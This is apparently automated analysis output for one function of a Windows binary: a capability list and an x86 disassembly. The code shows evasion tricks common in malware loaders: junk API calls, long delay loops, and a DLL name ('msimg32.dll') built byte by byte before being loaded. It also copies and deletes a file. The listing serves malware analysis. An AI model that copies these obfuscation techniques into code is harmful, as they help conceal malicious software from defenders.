Function at 0x409b1d
Capabilities:
Accept command line arguments
Copy file
Create mailslot
Create pipe
Delete file
Get common file path
Read .ini file

Disassembly:
mov eax, 0x197c
call fcn.0040aa00
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push edi
xor ebx, ebx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x46554c], 0x16
jne 0x409b61
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [0x46554c], 0x9e
jne 0x409bce
push ebx
lea eax, [esp + 0x98c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea eax, [esp + 0x6c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push ebx
push ebx
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push 0x4014e8
push ebx
call dword [sym.imp.KERNEL32.dll__hread]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
push ebx
push ebx
call esi
cmp edi, 0x187276e
jg 0x409be3
inc edi
cmp edi, 0x332beaf6
jl 0x409b34
push ebp
push 0x438010
push dword [0x46554c]
push dword [0x465128]
call fcn.004097d0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor ebp, ebp
cmp dword [0x46554c], 0x10
jne 0x409c15
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomA]
cmp ebp, 0x1e674
jne 0x409c22
call fcn.00409a2f
inc ebp
cmp ebp, 0x3e4e2
jl 0x409c02
mov ebp, 0xdd9a7
cmp dword [0x46554c], 0xc01
jne 0x409c67
push 0x401510
push 0x401560
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
dec ebp
jne 0x409c30
call fcn.00409580
push 0x4633c8
mov byte [0x4633c8], 0x6d
mov byte [0x4633c9], 0x73
mov byte [0x4633d2], 0x6c
mov byte [0x4633ce], 0x32
mov byte [0x4633ca], 0x69
mov byte [0x4633cd], 0x33
mov byte [0x4633d3], bl
mov byte [0x4633cc], 0x67
mov byte [0x4633d0], 0x64
mov byte [0x4633cb], 0x6d
mov byte [0x4633d1], 0x6c
mov byte [0x4633cf], 0x2e
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x46554c], 0x1144
pop ebp
jne 0x409d83
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
push ebx
lea eax, [esp + 0x98c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push ebx
lea eax, [esp + 0x18c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
lea eax, [esp + 0x1190]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
call edi
push ebx
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x4015b0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x78]
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x197c
ret